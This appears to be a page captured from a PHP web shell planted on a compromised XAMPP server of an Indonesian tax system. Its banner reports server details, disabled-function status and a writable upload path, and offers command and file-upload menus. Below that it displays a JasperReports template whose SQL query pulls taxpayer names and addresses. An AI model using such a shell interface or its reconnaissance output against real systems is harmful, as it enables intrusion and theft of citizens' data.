|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../report/SKKeberatan/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?xml version="1.0" encoding="UTF-8"?>
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="SKKeberatan_memperhatikan2" language="groovy" pageWidth="283" pageHeight="842" columnWidth="283" leftMargin="0" rightMargin="0" topMargin="0" bottomMargin="0" uuid="e3633ccf-1115-441d-bfc7-a8800b660e67">
<property name="ireport.zoom" value="1.0"/>
<property name="ireport.x" value="0"/>
<property name="ireport.y" value="0"/>
<parameter name="propinsi_pemohon" class="java.lang.String"/>
<parameter name="dati2_pemohon" class="java.lang.String"/>
<parameter name="kecamatan_pemohon" class="java.lang.String"/>
<parameter name="kelurahan_pemohon" class="java.lang.String"/>
<parameter name="kd_blok_pemohon" class="java.lang.String"/>
<parameter name="no_urut_pemohon" class="java.lang.String"/>
<parameter name="kd_jenis_op_pemohon" class="java.lang.String"/>
<queryString>
<![CDATA[SELECT RTRIM(LTRIM(A.SUBJEK_PAJAK_ID)) as subjek_pajak_id, RTRIM(LTRIM(B.NM_WP)) as nm_wp,
initcap(b.jalan_wp ||' '||b.blok_kav_no_wp),
initcap(a.jalan_op ||' '||a.blok_kav_no_op),
(a.kd_propinsi||'.'||a.kd_dati2||'.'||a.kd_kecamatan||'.'||
a.kd_kelurahan||'.'||a.kd_blok||'-'||a.no_urut||'.'||kd_jns_op) as nop
FROM pbb.DAT_OBJEK_PAJAK A, pbb.DAT_SUBJEK_PAJAK B
WHERE ((A.SUBJEK_PAJAK_ID=B.SUBJEK_PAJAK_ID)
AND (a.kd_propinsi = $P{propinsi_pemohon}
AND a.kd_dati2 = $P{dati2_pemohon}
AND a.kd_kecamatan = $P{kecamatan_pemohon}
AND a.kd_kelurahan = $P{kelurahan_pemohon}
AND a.kd_blok = $P{kd_blok_pemohon}
AND a.no_urut = $P{no_urut_pemohon}
AND a.kd_jns_op = $P{kd_jenis_op_pemohon}));]]>
</queryString>
<field name="subjek_pajak_id" class="java.lang.String"/>
<field name="nm_wp" class="java.lang.String"/>
<field name="initcap" class="java.lang.String"/>
<field name="nop" class="java.lang.String"/>
<background>
<band splitType="Stretch"/>
</background>
<pageHeader>
<band height="15" splitType="Stretch">
<textField>
<reportElement uuid="41d5027a-fbde-4e63-a10a-bc3424a898fd" x="0" y="0" width="283" height="13"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$F{nm_wp}]]></textFieldExpression>
</textField>
</band>
</pageHeader>
</jasperReport>